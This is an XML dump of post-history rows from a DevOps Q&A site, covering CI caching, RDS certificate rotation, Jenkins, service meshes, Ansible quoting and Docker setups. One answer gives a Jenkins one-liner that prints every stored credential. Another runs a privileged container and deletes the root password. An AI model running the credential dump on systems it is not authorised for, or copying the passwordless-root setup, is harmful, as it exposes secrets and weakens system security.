  <row Id="32288" PostHistoryTypeId="2" PostId="10505" RevisionGUID="eafa5d84-6658-47a7-ae85-3d18964d738f" CreationDate="2020-01-15T14:21:16.443" UserId="19123" Text="GitLab CI includes caching of directories, **relative to working directory**. You can use this to cache maven local repository.&#xD;&#xA;&#xD;&#xA;``` yml&#xD;&#xA;myjob:&#xD;&#xA;  image: maven&#xD;&#xA;  variables:&#xD;&#xA;    MAVEN_OPTS: &quot;-Dmaven.repo.local=${CI_PROJECT_DIR}/.repository/&quot;&#xD;&#xA;  cache:&#xD;&#xA;    key: maven&#xD;&#xA;    paths: [.repository/]&#xD;&#xA;  script:&#xD;&#xA;  - mvn clean verify&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You'll see something like this in job log:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Checking cache for maven...&#xD;&#xA;Downloading cache.zip from https://storage.googleapis.com/gitlab-com-runners-cache/project/133221/maven &#xD;&#xA;...&#xD;&#xA;Creating cache maven...&#xD;&#xA; .repository/: found 948 matching files             &#xD;&#xA; Uploading cache.zip to https://storage.googleapis.com/gitlab-com-runners-cache/project/133221/maven &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [GitLab caching documentation](https://docs.gitlab.com/ee/ci/caching/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="32289" PostHistoryTypeId="2" PostId="10506" RevisionGUID="84b07c8d-b381-450f-ae04-ef58be0e4f9f" CreationDate="2020-01-15T17:05:46.970" UserId="19011" Text="When updating the database to use the new CA, you get this popup:&#xD;&#xA;&#xD;&#xA;&gt; Before scheduling the CA certificate rotation, update client&#xD;&#xA;&gt; applications that connect to your database to use the new CA&#xD;&#xA;&gt; certificate. Not doing this will cause an interruption of connectivity&#xD;&#xA;&gt; between your applications and your database.&#xD;&#xA;&#xD;&#xA;Does anyone know if this is required? We didn't have to import the CA originally, so why would we have to now? If it's a matter of the new root CA not being part of the trust chain of older distros, does anyone know if Ubuntu 18.04 has the new CA in its ca-certificates package yet?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32290" PostHistoryTypeId="1" PostId="10506" RevisionGUID="84b07c8d-b381-450f-ae04-ef58be0e4f9f" CreationDate="2020-01-15T17:05:46.970" UserId="19011" Text="Question about the new AWS RDS CA" ContentLicense="CC BY-SA 4.0" />
  <row Id="32291" PostHistoryTypeId="3" PostId="10506" RevisionGUID="84b07c8d-b381-450f-ae04-ef58be0e4f9f" CreationDate="2020-01-15T17:05:46.970" UserId="19011" Text="&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32292" PostHistoryTypeId="2" PostId="10507" RevisionGUID="ac0348c0-23e6-4cc8-9a07-27d7de40cb4a" CreationDate="2020-01-15T18:56:00.490" UserId="18007" Text="All our CI projects are getting stuck in the Notify stash. eventually, it's passing, but we're trying to understand why it takes so much time. example:&#xD;&#xA;&#xD;&#xA;    17:03:01 Notifying Stash at &quot;https://bitbucket&quot;&#xD;&#xA;    17:15:44 Notified Stash for commit with id 925ceb567087f94c5b9d44d1330995860f11d1e5&#xD;&#xA;&#xD;&#xA;what can cause such a delay? Bitbucket (Stash) Notifier Plugin version: 1.4.0&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32293" PostHistoryTypeId="1" PostId="10507" RevisionGUID="ac0348c0-23e6-4cc8-9a07-27d7de40cb4a" CreationDate="2020-01-15T18:56:00.490" UserId="18007" Text="Pipeline flow get stuck at “Notifying stash” after finishing all stages" ContentLicense="CC BY-SA 4.0" />
  <row Id="32294" PostHistoryTypeId="3" PostId="10507" RevisionGUID="ac0348c0-23e6-4cc8-9a07-27d7de40cb4a" CreationDate="2020-01-15T18:56:00.490" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32297" PostHistoryTypeId="5" PostId="5414" RevisionGUID="663f6f5d-367f-45d3-bba5-112ef80abf76" CreationDate="2020-01-15T23:14:57.293" UserId="10599" Comment="edited body" Text="The metaphor of &quot;mesh&quot; is &quot;many interconnected things&quot;. We might describe TCP/IP as a &quot;mesh technology&quot; as it is the technology that connects many things and performs useful services like resending lost packets and adapting to changes in available bandwidth. &#xD;&#xA;&#xD;&#xA;Modern &quot;service mesh&quot; technologies let you write basic code then wrap it in something readymade that plugs-in discovery (locating. resources), mutual TSL, protocol upgrade (newest HTTP or better), applies security policies, fault tolerance (such as retry on error), load shedding, circuit breakers, distributed tracing (header setting and traffic sampling), advanced load balancing, and much more.&#xD;&#xA;&#xD;&#xA;Imagine that the internet only had UDP protocol. You can send a packet but you didn't know it got there. You might in your application have to write a bunch of code to detect lost messages and request a resend. You might write a library to do that. You might compile all your apps against such libraries written in different languages (PHP, Java, C, Perl, ...). That would be terrible. You would want someone to invent TCP/IP that just does it for you. Then you can write simple code that &quot;just connects and sends&quot; and the &quot;TCP/IP service mesh&quot; will do its magic and make sure that the data gets `A-&gt;B` as fast as possible dealing with dropped messages and varying bandwidth conditions. &#xD;&#xA;&#xD;&#xA;Today developers writing microservices are having to use libraries for discovery, mutual TSL, protocol upgrade (older HTTP over newer HTTP or better), security policy, fault tolerance, load shedding, circuit breakers, distributing tracking, advanced load balancing, ... That's terrible, right? Shouldn't we just be able to deploy some new technology that sits between `A` and `B` and ensures that all the traffic `A-&gt;B` had all those features? You need a Service Mesh. &#xD;&#xA;&#xD;&#xA;In the kubernetes world things such [Linkerd][1] and [Envoy][2] provide the base technologies. They are smart proxies. You don't go `A-&gt;B` you go `A-&gt;P=&gt;P-&gt;B` where `-&gt;` are local connection. A service has a data plane (move the data) provided by the smart proxies and an administration control plane (apply the desired policies by pushing configuration out to the smart proxies). &#xD;&#xA;&#xD;&#xA;With Linkerd you run it as a demon set (one per container host). With Envoy it's small enough to deploy it as a sidecar container. So you keep the &quot;local dumb connections&quot; within the VM host. All traffic between VM hosts is smart proxy traffic with all the new features you want applied by policy. &#xD;&#xA;&#xD;&#xA;Discovery (locating resources) is something a service mesh does. All containers just connect to a smart local proxy. The smart proxy looks at the header of the connection to see the logical name of the service you are connecting to. It then uses its own dynamic configuration distributed across its control plane to decide what physical location to proxy the traffic towards. What is more interesting is all the very smart things it can do to the traffic that it sends over the wire. These are additional technical services. All the interconnections are a mesh. The advanced services are applied to traffic in the mesh. It is therefore a Service Mesh.  &#xD;&#xA;&#xD;&#xA;If you want to look at something in this space look at [istio.io][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linkerd.io&#xD;&#xA;  [2]: https://www.envoyproxy.io&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32300" PostHistoryTypeId="2" PostId="10508" RevisionGUID="df132ec8-74ab-43c8-bdd1-99ae3fc79279" CreationDate="2020-01-16T13:48:35.403" UserId="19145" Text="I have a pull request policy on my repo which requires at least one member of the `devs` group reviews and approves any change before it is merged in to master. I'd like to be able to specify additionally that any files changes under the `sql_scripts` folder require a member of `dbadmin` group to review and approve. &#xD;&#xA;&#xD;&#xA;Can this be done in Azure Devops using either the UI or the API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32301" PostHistoryTypeId="1" PostId="10508" RevisionGUID="df132ec8-74ab-43c8-bdd1-99ae3fc79279" CreationDate="2020-01-16T13:48:35.403" UserId="19145" Text="Set additional required approver for pull requests at subfolder lever in Azure Devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="32302" PostHistoryTypeId="3" PostId="10508" RevisionGUID="df132ec8-74ab-43c8-bdd1-99ae3fc79279" CreationDate="2020-01-16T13:48:35.403" UserId="19145" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32303" PostHistoryTypeId="50" PostId="9741" RevisionGUID="b7557552-ad47-46ca-bedb-d0b388359947" CreationDate="2020-01-16T15:01:40.210" UserId="-1" />
  <row Id="32307" PostHistoryTypeId="2" PostId="10510" RevisionGUID="e6c54537-830a-4535-bb16-98e0fe85554d" CreationDate="2020-01-16T19:12:05.110" UserId="12138" Text="I am not completely sure that Ubuntu 18.04 will have this CA in their certificates packages because they announced this CA replacement recently. &#xD;&#xA;&#xD;&#xA;If you are using the SSL/TLS to connect to your DB instances, then only this will be required, otherwise you can simply ignore this. &#xD;&#xA;&#xD;&#xA;You can find the complete details of this CA certificate rotation and it's impact in the AWS [blog][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/database/amazon-rds-customers-update-your-ssl-tls-certificates-by-february-5-2020/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32308" PostHistoryTypeId="5" PostId="9545" RevisionGUID="5074c2bf-f3ed-4260-9810-39be68442728" CreationDate="2020-01-16T23:10:13.997" UserId="17761" Comment="Addresses Lukasz's comment; tested and verified" Text="The [`Executor.interrupt(Result)`][1] method is the cleanest, most direct way I could find to stop a build prematurely *and* mark it as a success.&#xD;&#xA;&#xD;&#xA;    script {&#xD;&#xA;        currentBuild.getRawBuild().getExecutor().interrupt(Result.SUCCESS)&#xD;&#xA;        sleep(1)   // Interrupt is not blocking and does not take effect immediately.&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Pros**:&#xD;&#xA;&#xD;&#xA; - Works in a declarative pipeline just as well as a scripted one.&#xD;&#xA; - No try/catch or exceptions to handle.&#xD;&#xA; - Marks the calling stage and any successive stages as green/passing in the UI.&#xD;&#xA;&#xD;&#xA;**Cons**:&#xD;&#xA;&#xD;&#xA; - Requires a number of in-process script approvals, including one that is [considered insecure][2]. Approve and use with caution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://javadoc.jenkins-ci.org/hudson/model/Executor.html#interrupt-hudson.model.Result-&#xD;&#xA;  [2]: https://github.com/jenkinsci/script-security-plugin/pull/69" ContentLicense="CC BY-SA 4.0" />
  <row Id="32309" PostHistoryTypeId="2" PostId="10511" RevisionGUID="af415249-4028-4b13-a381-6329a315293c" CreationDate="2020-01-16T23:36:45.910" UserId="19154" Text="How can I use Ansible to run the following CloudLinux Imunify360 commands properly on CloudLinux 7 (similar to CentOS7)?&#xD;&#xA;I tried different ways to &quot;escape&quot; the colons in the commands and it doesn't run properly, even when a YAML syntax checker showed it's correct.&#xD;&#xA;&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;rapid_scan&quot;: true}}'&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;default_action&quot;: &quot;cleanup&quot;}, &quot;MALWARE_SCAN_SCHEDULE&quot;:{&quot;interval&quot;: &quot;week&quot;}}'&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;enable_scan_inotify&quot;: true}}'&#xD;&#xA;&#xD;&#xA;from:&#xD;&#xA;[https://blog.imunify360.com/new-default-settings-for-imunify360][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.imunify360.com/new-default-settings-for-imunify360&#xD;&#xA;&#xD;&#xA;Note: Imunify360 has a free trial.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32310" PostHistoryTypeId="1" PostId="10511" RevisionGUID="af415249-4028-4b13-a381-6329a315293c" CreationDate="2020-01-16T23:36:45.910" UserId="19154" Text="How to run Ansible command to update imunify360 settings" ContentLicense="CC BY-SA 4.0" />
  <row Id="32311" PostHistoryTypeId="3" PostId="10511" RevisionGUID="af415249-4028-4b13-a381-6329a315293c" CreationDate="2020-01-16T23:36:45.910" UserId="19154" Text="&lt;ansible&gt;&lt;linux&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32312" PostHistoryTypeId="2" PostId="10512" RevisionGUID="75a5c6c4-9f57-47e8-89e3-9fbc2e1c839d" CreationDate="2020-01-17T00:34:11.750" UserId="19155" Text="I'm in a situation where I have a Django application, Nginx webserver and Postgres database that I want to dockerize, and that's no issue I can do that. But the Django application has code that calls a subprocess to run a command from a installed program on the root host, and obviously if I run that command it's not recognized since it's not installed on the docker container.&#xD;&#xA;&#xD;&#xA;The program can not be dockerized as far as I know, because it uses docker itself. Is there any way I can make the Django Application be able to run commands from that specific program on the root host, even though the Django application is containerized?&#xD;&#xA;&#xD;&#xA;Can this be done through some kind of network setup of the docker container? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I find it a little hard to explain, so please do ask questions if something isn't clear enough.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32313" PostHistoryTypeId="1" PostId="10512" RevisionGUID="75a5c6c4-9f57-47e8-89e3-9fbc2e1c839d" CreationDate="2020-01-17T00:34:11.750" UserId="19155" Text="Can I run command from a program thats based on the root host from a containerized application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32314" PostHistoryTypeId="3" PostId="10512" RevisionGUID="75a5c6c4-9f57-47e8-89e3-9fbc2e1c839d" CreationDate="2020-01-17T00:34:11.750" UserId="19155" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32315" PostHistoryTypeId="2" PostId="10513" RevisionGUID="c44d9356-807f-4b85-8cf2-83692d136eed" CreationDate="2020-01-17T00:59:12.357" UserId="18666" Text="I build an AMI from a 'prototype' EC2 instance I created to confirm everything is working. I create a Launch Configuration and Auto Scaling Group based on the AMI. I associate the Auto Scaling Group with CodeDeploy as a Blue/Green Deployment behind an Application Load Balancer.&#xD;&#xA;&#xD;&#xA;When I run the CodePipeline, all goes well until it gets to the CodeDeploy phase and it tries to install the application in the specified directory in appspec.yml:&#xD;&#xA;&#xD;&#xA;The deployment failed because a specified file already exists at this location: /var/www/html/mysite/test.rb&#xD;&#xA;&#xD;&#xA;My expectation was that CodeDeploy will only update the files in the deploy directory. Instead, it breaks and says the files already exist. From research online, I discovered that when you deploy, CodeDeploy will look for a file (on the instance) with information on previously deployed files for the application/deployment-group in question. If it finds the file it then it uses it to cleanup (delete) the existing files, preparing for copying of the new revision files.&#xD;&#xA;&#xD;&#xA;But if the cleanup file doesn't exist, CodeDeploy won't continue running. Therefore the files will not be cleaned up, and the deployment will fail since CodeDeploy does not overwrite files. it wont be run. &#xD;&#xA;&#xD;&#xA;Therefore the files will not be cleaned up, and the deployment will fail since CodeDeploy does not overwrite files.&#xD;&#xA;&#xD;&#xA;It seems as though the only option in these scenarios is to have a hook (eg BeforeInstall) that calls a script to delete the applications files (if they exist) on the instance. Is this really true? The only option I have is to delete the files in a beforeInstall hook? &#xD;&#xA;&#xD;&#xA;I notice if you copy a deployment in the Console, there is an option to 'overwrite the content'. But this option is not available in the Deployment Group configuration. It only exists when you copy the deployment. &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="32316" PostHistoryTypeId="1" PostId="10513" RevisionGUID="c44d9356-807f-4b85-8cf2-83692d136eed" CreationDate="2020-01-17T00:59:12.357" UserId="18666" Text="CodeDeploy: deployment failed because a specified file already exists at this location" ContentLicense="CC BY-SA 4.0" />
  <row Id="32317" PostHistoryTypeId="3" PostId="10513" RevisionGUID="c44d9356-807f-4b85-8cf2-83692d136eed" CreationDate="2020-01-17T00:59:12.357" UserId="18666" Text="&lt;amazon-web-services&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32320" PostHistoryTypeId="2" PostId="10514" RevisionGUID="a724321c-2f73-4940-9c20-5e07f19839cf" CreationDate="2020-01-17T03:05:28.473" UserId="19156" Text="Assuming that you're already planning on executing each command in a separate task, you can just use a folding block scalar (`&gt;`). While these are typically used for multi-line strings since they replace newlines with a single space, a bonus is that they don't evaluate escape sequences, so nothing needs to be escaped.&#xD;&#xA;&#xD;&#xA;However, `&gt;` alone won't strip the trailing newline character which is where `-` comes in.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Enable rapid scan&#xD;&#xA;  command: &gt;-&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;rapid_scan&quot;: true}}'&#xD;&#xA;&#xD;&#xA;- name: Cleanup scan schedule&#xD;&#xA;  command: &gt;-&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;default_action&quot;: &quot;cleanup&quot;}, &quot;MALWARE_SCAN_SCHEDULE&quot;:{&quot;interval&quot;: &quot;week&quot;}}'&#xD;&#xA;&#xD;&#xA;- name: Enable scan inotify&#xD;&#xA;  command: &gt;-&#xD;&#xA;    imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;: {&quot;enable_scan_inotify&quot;: true}}'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32321" PostHistoryTypeId="2" PostId="10515" RevisionGUID="119772fa-6769-43b8-9d69-99095579e4f8" CreationDate="2020-01-17T08:00:22.640" UserDisplayName="user5176" Text="Although I never used an &quot;imagization&quot; tool (for example, Docker) I understand a *container* as an instantiated (running or stopped) *image* which in plural are simply put, a server environment and corresponding application/s, cloned from one computerized machine into another computerized machine (likely a virtual machine);&lt;br&gt;&#xD;&#xA;I further understand such cloning operations save time because application/s (and maybe also an OS) shouldn't be installed again and configured again to reach the *state* of the cloned machine, so one could start from that state and make changes from there.&#xD;&#xA;&#xD;&#xA;## My problem&#xD;&#xA;&#xD;&#xA;When I still used Facebook, I spoke there with some anonymous sysadmin who claimed something like he doesn't use imagization tools as an image could be contaminated somewhere along the process with malicious software without him knowing it.&#xD;&#xA;&#xD;&#xA;I am not sure I enough understand what &quot;imagization&quot; tools do and the subsequent opinion I presented.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Are there arguments against using “imagization&quot; tools in the literature and if so, what are the main ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32322" PostHistoryTypeId="1" PostId="10515" RevisionGUID="119772fa-6769-43b8-9d69-99095579e4f8" CreationDate="2020-01-17T08:00:22.640" UserDisplayName="user5176" Text="Are there arguments against using “imagization&quot; tools in the literature and if so, what are the main ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32323" PostHistoryTypeId="3" PostId="10515" RevisionGUID="119772fa-6769-43b8-9d69-99095579e4f8" CreationDate="2020-01-17T08:00:22.640" UserDisplayName="user5176" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;culture&gt;&lt;rancher&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32324" PostHistoryTypeId="5" PostId="10515" RevisionGUID="d0b86010-ae94-49b2-b618-953162dd4796" CreationDate="2020-01-17T08:09:49.477" UserDisplayName="user5176" Comment="added 1 character in body" Text="Although I never used an &quot;imagization&quot; tool (for example, Docker) I understand a *container* as an instantiated (running or stopped) *image* which in plural are simply put, a server environment and corresponding application/s, cloned from one computerized machine into another computerized machine (likely a virtual machine);&lt;br&gt;&#xD;&#xA;I further understand such cloning operations save time because application/s (and maybe also an OS) shouldn't be installed again and configured again to reach the *state* of the cloned machine, so one could start from that state and make changes from there.&#xD;&#xA;&#xD;&#xA;## My problem&#xD;&#xA;&#xD;&#xA;When I still used Facebook, I spoke there with some anonymous sysadmin who claimed something like he doesn't use imagization tools as an image could be contaminated somewhere along the process with malicious software without him knowing it.&#xD;&#xA;&#xD;&#xA;I am not sure I enough understand what &quot;imagization&quot; tools are and the subsequent opinion I presented.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Are there arguments against using “imagization&quot; tools in the literature and if so, what are the main ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32326" PostHistoryTypeId="2" PostId="10516" RevisionGUID="ecf5aa95-e43d-4fa1-a3ca-957644c00283" CreationDate="2020-01-17T10:38:42.463" UserId="18073" Text="Based on Magnus' answer but as a simple oneliner with still readable output:&#xD;&#xA;&#xD;&#xA; `com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{println it.dump().replace(' ', '\n')}`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32327" PostHistoryTypeId="16" PostId="10516" RevisionGUID="49bcd730-8a20-4417-b3de-ae7b0294eb62" CreationDate="2020-01-17T10:38:42.463" UserId="18073" />
  <row Id="32332" PostHistoryTypeId="2" PostId="10518" RevisionGUID="63edc3b1-e81e-48ab-a40d-2b40482d49ce" CreationDate="2020-01-17T14:33:57.363" UserId="19148" Text="[This][1] StackOverflow question has answers that could be useful for you, in particular, mounting parts of the hosts filesystem containing the host application.&#xD;&#xA;&#xD;&#xA;But really, it doesn't seem to make much sense to run an application in a container and then try to directly access the host system. It seems to defeat many of the reasons to containerize an application in the first place.&#xD;&#xA;&#xD;&#xA;It'd probably much better to put the required application in the container, along with Django. I see no reason why your container wouldn't be able to run docker itself (even though for some CI/CD use cases sibling containers are [preferred][2] over docker-in-docker approach).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/32163955/how-to-run-shell-script-on-host-from-docker-container&#xD;&#xA;  [2]: https://stackoverflow.com/questions/27879713/is-it-ok-to-run-docker-from-inside-docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="32337" PostHistoryTypeId="2" PostId="10520" RevisionGUID="c311af31-f3c5-4929-ade2-d65e25ca9037" CreationDate="2020-01-17T16:47:47.843" UserId="19172" Text="For example, if you want to run systemd in a Arch Linux container,&#xD;&#xA;run this command: `docker run -it --privileged -v /sys/fs/cgroup:/sys/fs/cgroup:ro --name=ArchLinux archlinux /bin/sh -c &quot;if [ -x /etc/docker-start ]; then exec /etc/docker-start; else exec /bin/sh; fi&quot;`&#xD;&#xA;&#xD;&#xA;Then run these commands in the container:&#xD;&#xA;&#xD;&#xA;    echo 'Server = https://THE_FASTEST_MIRROR_FOR_YOU/archlinux/$repo/os/$arch' &gt;/etc/pacman.d/mirrorlist&#xD;&#xA;    pacman -Sy systemd systemd-sysvcompat&#xD;&#xA;    passwd -d root&#xD;&#xA;    echo -en '#!/bin/sh\numount /etc/hostname; umount /etc/hosts; umount /etc/resolv.conf; exec /usr/lib/systemd/systemd' &gt;/etc/docker-start&#xD;&#xA;    chmod 700 /etc/docker-start&#xD;&#xA;    echo -e 'nameserver 8.8.8.8' &gt;/etc/resolv.conf&#xD;&#xA;    exit&#xD;&#xA;Then start the container and attach to it: `docker start -ia ArchLinux`&#xD;&#xA;&#xD;&#xA;You need to run with `--privileged`, and this may cause some security problems. Please try to avoid it if possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="32344" PostHistoryTypeId="50" PostId="10153" RevisionGUID="102f8036-5651-49fa-8a84-32b066d8698b" CreationDate="2020-01-17T21:00:07.820" UserId="-1" />
  <row Id="32345" PostHistoryTypeId="2" PostId="10522" RevisionGUID="4bd59684-9aa7-47b1-ba35-53718cf18feb" CreationDate="2020-01-18T00:57:38.237" UserId="19154" Text="It turns out single quote works where double quote and backslash didn't.&#xD;&#xA;&#xD;&#xA;&gt;     - name: Enable rapid scan&#xD;&#xA;&gt;       command: imunify360-agent config update '{&quot;MALWARE_SCANNING&quot;':' {&quot;rapid_scan&quot;':' true}}'&#xD;&#xA;&#xD;&#xA;I learned that folding block scalar (&gt;) is an easy alternative and a good way to avoid escaping." ContentLicense="CC BY-SA 4.0" />
  <row Id="32346" PostHistoryTypeId="5" PostId="10520" RevisionGUID="ac5dcad3-4bef-483f-9394-d5f0072131c4" CreationDate="2020-01-18T14:09:01.603" UserId="19172" Comment="added 12 characters in body" Text="For example, if you want to run systemd in a Arch Linux container,&#xD;&#xA;run this command: `docker run -it --privileged -v /sys/fs/cgroup:/sys/fs/cgroup:ro --name=ArchLinux archlinux /bin/sh -c &quot;if [ -x /etc/docker-start ]; then exec /etc/docker-start; else exec /bin/sh; fi&quot;`&#xD;&#xA;&#xD;&#xA;Then run these commands in the container:&#xD;&#xA;&#xD;&#xA;    echo 'Server = https://THE_FASTEST_MIRROR_FOR_YOU/archlinux/$repo/os/$arch' &gt;/etc/pacman.d/mirrorlist&#xD;&#xA;    pacman -Sy --noconfirm systemd systemd-sysvcompat&#xD;&#xA;    passwd -d root&#xD;&#xA;    echo -en '#!/bin/sh\numount /etc/hostname; umount /etc/hosts; umount /etc/resolv.conf; exec /usr/lib/systemd/systemd' &gt;/etc/docker-start&#xD;&#xA;    chmod 700 /etc/docker-start&#xD;&#xA;    echo -e 'nameserver 8.8.8.8' &gt;/etc/resolv.conf&#xD;&#xA;    exit&#xD;&#xA;Then start the container and attach to it: `docker start -ia ArchLinux`&#xD;&#xA;&#xD;&#xA;You need to run with `--privileged`, and this may cause some security problems. Please try to avoid it if possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="32347" PostHistoryTypeId="2" PostId="10523" RevisionGUID="30126e87-1913-4d36-9972-e8eaffbe8e14" CreationDate="2020-01-18T16:37:51.580" UserId="47" Text="One possible answer could come from the reason for using multiple branches as basis for environments in the first place.&#xD;&#xA;&#xD;&#xA;In some organisations (typically for large scale projects and often for historical reasons) it is desired to allow for cherry-picking hot fixes in each environment to limit the amount of changes (thus the risk) picked up in each iteration on that environment. I'd argue that such approach is not really aligned with continuous integration/delivery at the project level (it may be at each of the branch levels). &#xD;&#xA;&#xD;&#xA;In this context the branches will diverge, so build-once, deploy everywhere principle is similarly applicable only at the branch/environment level, it cannot be applied at the project level. The GitHub/GitLab flow could work well in such case.&#xD;&#xA;&#xD;&#xA;If, however, there is no cherry-picking between branches and **strictly** straight/fast-forward merges from upstream branch refpoints are used to propagate changes to the downstream branches/environments then the reason for using multiple branches is IMHO questionable. A **single/master** branch can be used instead, the environments being implemented simply as different steps/stages in the CI/CD processing pipeline.&#xD;&#xA;&#xD;&#xA;The pipeline would be triggered on the branch tags/refpoints from which the original change propagation would be initiated in the multi-branch scenario (ideally for each and every commit).&#xD;&#xA;&#xD;&#xA;The build-once, deploy everywhere principle can easily be enforced in this approach, which aligns very well with continuous integration/delivery/deployment at the entire project level. You just need to consider each build as potential release candidate from the very beginning of your pipeline processing.&#xD;&#xA;&#xD;&#xA;Note that nothing in this scenario conflicts with using GitLab/GitHub (or any other modern version control system) itself, you just don't **have to** use all the features they offer ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32348" PostHistoryTypeId="2" PostId="10524" RevisionGUID="2556cf86-52d3-4bfe-8f7d-57e72dd501e2" CreationDate="2020-01-18T17:10:27.940" UserId="19183" Text="Here is what it replies:&#xD;&#xA;&#xD;&#xA;`Windows is not officially supported for the Ansible Control Machine.&#xD;&#xA;Please check https://docs.ansible.com/intro_installation.html#control-machine-requirements`&#xD;&#xA;&#xD;&#xA;What should I do? Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="32349" PostHistoryTypeId="1" PostId="10524" RevisionGUID="2556cf86-52d3-4bfe-8f7d-57e72dd501e2" CreationDate="2020-01-18T17:10:27.940" UserId="19183" Text="I'm trying to run `vagrant provision` on PowerShell Window for Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="32350" PostHistoryTypeId="3" PostId="10524" RevisionGUID="2556cf86-52d3-4bfe-8f7d-57e72dd501e2" CreationDate="2020-01-18T17:10:27.940" UserId="19183" Text="&lt;ansible&gt;&lt;windows&gt;&lt;provisioning&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32351" PostHistoryTypeId="5" PostId="10515" RevisionGUID="69533b87-a1fa-4643-8027-75e506ff6cf4" CreationDate="2020-01-18T21:32:19.847" UserDisplayName="user5176" Comment="added 16 characters in body" Text="Although I never used an &quot;imagization&quot; tool (for example, Docker) I understand a *container* as an instantiated (running or stopped) *image* which in plural are simply put, a server environment and corresponding application/s, cloned from one computerized machine into another computerized machine (likely a virtual machine);&lt;br&gt;&#xD;&#xA;I further understand such cloning operations save time because application/s (and maybe also an OS) shouldn't be installed again and configured again to reach the *state* of the cloned machine, so one could start from the cloned state and make changes from there.&#xD;&#xA;&#xD;&#xA;## My problem&#xD;&#xA;&#xD;&#xA;When I still used Facebook, I spoke there with some anonymous sysadmin who claimed something like he doesn't use imagization tools as an image could be contaminated with malicious software or hacked somewhere along the process without him knowing it.&#xD;&#xA;&#xD;&#xA;I am not sure I enough understand what &quot;imagization&quot; tools are and the subsequent opinion I presented.&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Are there arguments against using “imagization&quot; tools in the literature and if so, what are the main ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32352" PostHistoryTypeId="50" PostId="8956" RevisionGUID="8bf7a54b-a0b7-4018-93da-6dc53cb1e04f" CreationDate="2020-01-19T02:02:20.303" UserId="-1" />
  <row Id="32353" PostHistoryTypeId="34" PostId="10440" RevisionGUID="4e19336d-bdd7-4ba1-a690-061648a99408" CreationDate="2020-01-19T03:01:43.890" UserId="-1" Comment="52" />
  <row Id="32354" PostHistoryTypeId="2" PostId="10525" RevisionGUID="c960f9bb-139b-4bc7-bf38-18303716d7a1" CreationDate="2020-01-19T05:27:26.917" UserId="19186" Text="As far as I read, client using that db instance has to update certificate if the client has added the db in it's truststore.&#xA;&#xA;***When you schedule this operation, make sure that you have updated your client-side trust store beforehand.*** &#xA;&#xA;**https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/UsingWithRDS.SSL-certificate-rotation.html**&#xA;&#xA;I don't think anything apart from this would be required. Hope this helps!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32355" PostHistoryTypeId="33" PostId="10515" RevisionGUID="80814733-45d3-455d-b992-80efca849507" CreationDate="2020-01-19T08:25:48.780" UserDisplayName="user5176" Comment="53" />
